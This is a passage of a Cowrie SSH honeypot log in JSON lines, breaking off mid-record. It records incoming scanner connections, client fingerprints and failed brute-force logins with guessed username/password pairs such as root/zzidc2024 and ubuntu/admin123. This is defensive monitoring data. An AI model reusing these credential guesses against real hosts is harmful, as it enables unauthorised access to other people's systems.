{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:36.320575Z","src_ip":"45.233.218.160","session":"7e2c6594f266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:36.459635Z","src_ip":"45.233.218.160","session":"7e2c6594f266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzidc2024","message":"login attempt [root/zzidc2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:37.041100Z","src_ip":"45.233.218.160","session":"7e2c6594f266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:38.180875Z","src_ip":"45.233.218.160","session":"7e2c6594f266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":35406,"dst_ip":"10.17.0.5","dst_port":22,"session":"936df5e239c3","protocol":"ssh","message":"New connection: 79.143.189.125:35406 (10.17.0.5:22) [session: 936df5e239c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:42.474078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:42.479433Z","src_ip":"79.143.189.125","session":"936df5e239c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:42.573111Z","src_ip":"79.143.189.125","session":"936df5e239c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:42.979119Z","src_ip":"79.143.189.125","session":"936df5e239c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:59:44.076190Z","src_ip":"79.143.189.125","session":"936df5e239c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":53016,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b79a8faa156","protocol":"ssh","message":"New connection: 78.44.192.210:53016 (10.17.0.5:22) [session: 6b79a8faa156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:00:55.545317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:00:55.550524Z","src_ip":"78.44.192.210","session":"6b79a8faa156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:00:55.666766Z","src_ip":"78.44.192.210","session":"6b79a8faa156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:00:56.126893Z","src_ip":"78.44.192.210","session":"6b79a8faa156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:00:57.239955Z","src_ip":"78.44.192.210","session":"6b79a8faa156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":51920,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfe61991aea2","protocol":"ssh","message":"New connection: 50.116.72.139:51920 (10.17.0.5:22) [session: dfe61991aea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:13.399235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:13.404510Z","src_ip":"50.116.72.139","session":"dfe61991aea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:13.428314Z","src_ip":"50.116.72.139","session":"dfe61991aea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:13.553849Z","src_ip":"50.116.72.139","session":"dfe61991aea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:14.580825Z","src_ip":"50.116.72.139","session":"dfe61991aea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39182,"dst_ip":"159.203.135.109","dst_port":22,"session":"65325c21ff84","protocol":"ssh","message":"New connection: 103.82.132.16:39182 (159.203.135.109:22) [session: 65325c21ff84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:26.105716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:26.111774Z","src_ip":"103.82.132.16","session":"65325c21ff84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:26.370270Z","src_ip":"103.82.132.16","session":"65325c21ff84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":52284,"dst_ip":"10.17.0.5","dst_port":22,"session":"e474fef97665","protocol":"ssh","message":"New connection: 79.143.189.125:52284 (10.17.0.5:22) [session: e474fef97665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:26.666350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:26.671155Z","src_ip":"79.143.189.125","session":"e474fef97665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:26.767574Z","src_ip":"79.143.189.125","session":"e474fef97665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uuuuuu","message":"login attempt [root/uuuuuu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:27.131811Z","src_ip":"103.82.132.16","session":"65325c21ff84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maomao123","message":"login attempt [root/maomao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:27.173611Z","src_ip":"79.143.189.125","session":"e474fef97665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:28.270351Z","src_ip":"79.143.189.125","session":"e474fef97665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:28.389969Z","src_ip":"103.82.132.16","session":"65325c21ff84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":56440,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c41cbc4c704","protocol":"ssh","message":"New connection: 45.233.218.160:56440 (10.17.0.5:22) [session: 7c41cbc4c704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:29.239334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:29.243285Z","src_ip":"45.233.218.160","session":"7c41cbc4c704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:29.383746Z","src_ip":"45.233.218.160","session":"7c41cbc4c704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"innova","password":"innova","message":"login attempt [innova/innova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:29.948443Z","src_ip":"45.233.218.160","session":"7c41cbc4c704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:31.087044Z","src_ip":"45.233.218.160","session":"7c41cbc4c704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.91.34","src_port":37592,"dst_ip":"10.17.0.5","dst_port":22,"session":"4330d07bb7c7","protocol":"ssh","message":"New connection: 101.126.91.34:37592 (10.17.0.5:22) [session: 4330d07bb7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:32.386339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:32.397698Z","src_ip":"101.126.91.34","session":"4330d07bb7c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:32.654545Z","src_ip":"101.126.91.34","session":"4330d07bb7c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"r00t","password":"1234","message":"login attempt [r00t/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:34.832717Z","src_ip":"101.126.91.34","session":"4330d07bb7c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:36.642526Z","src_ip":"101.126.91.34","session":"4330d07bb7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":43314,"dst_ip":"159.203.135.109","dst_port":22,"session":"55d0c6c15295","protocol":"ssh","message":"New connection: 194.113.233.25:43314 (159.203.135.109:22) [session: 55d0c6c15295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:38.046826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:38.053291Z","src_ip":"194.113.233.25","session":"55d0c6c15295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 